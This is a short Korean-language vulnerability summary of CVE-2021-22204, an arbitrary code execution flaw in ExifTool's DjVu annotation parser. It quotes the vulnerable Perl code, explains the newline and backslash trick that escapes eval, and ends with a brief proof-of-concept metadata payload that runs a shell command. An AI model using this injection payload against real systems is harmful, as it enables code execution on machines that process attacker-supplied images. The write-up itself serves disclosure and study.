[하루한줄] CVE-2021-22204: ExifTool 임의 코드 실행 취약점

URL

ExifTool CVE-2021-22204 - Arbitrary Code Execution

Target

  • ExifTool

Explain

이미지 파일의 메타 데이터를 수정할 때 사용되는 ExifTool에서 임의 코드 실행 취약점이 발견되어 세부 정보가 공개되었습니다.

ExifTool은 perl 스크립트로 구현되었으며 취약점은 DjVu 파일을 파싱하는 DjVu 모듈의 ParseAnt 메서드에 존재합니다.

sub ParseAnt($)
...
$tok = '';
  for (;;) {
      # get string up to the next quotation mark
      # this doesn't work in perl 5.6.2! grrrr
      # last Tok unless $$dataPt =~ /(.*?)"/sg;
      # $tok .= $1;
      my $pos = pos($$dataPt);
      last Tok unless $$dataPt =~ /"/sg;
      $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
      # we're good unless quote was escaped by odd number of backslashes
      last unless $tok =~ /(\\\\+)$/ and length($1) & 0x01;
      $tok .= '"';    # quote is part of the string
  }
  # must protect unescaped "$" and "@" symbols, and "\\" at end of string
  $tok =~ s{\\\\(.)|([\\$\\@]|\\\\$)}{'\\\\'.($2 || $1)}sge;
  # convert C escape sequences (allowed in quoted text)
  $tok = eval qq{"$tok"};
...

위 코드는 C와 유사한 escape sequence를 구현한 코드로 $tok 변수의 특수 문자를 escape 처리한 뒤 이를 eval 함수에 전달합니다.

그러나 정규식 tok =~ /(\\\\+)$/ 에서 $가 문자열의 끝과 개행을 의미해 백 슬래시와 개행 문자를 쓰면 문자열이 끝난 것으로 인식하고 개행 이후에 오는 특수 문자를 처리하지 않습니다. 따라서 return data; 코드를 실행하는 아래 PoC와 같이 eval 함수를 벗어나 임의 코드를 실행할 수 있습니다.

(metadata
    (Author "\\
" . return `date`; #")
)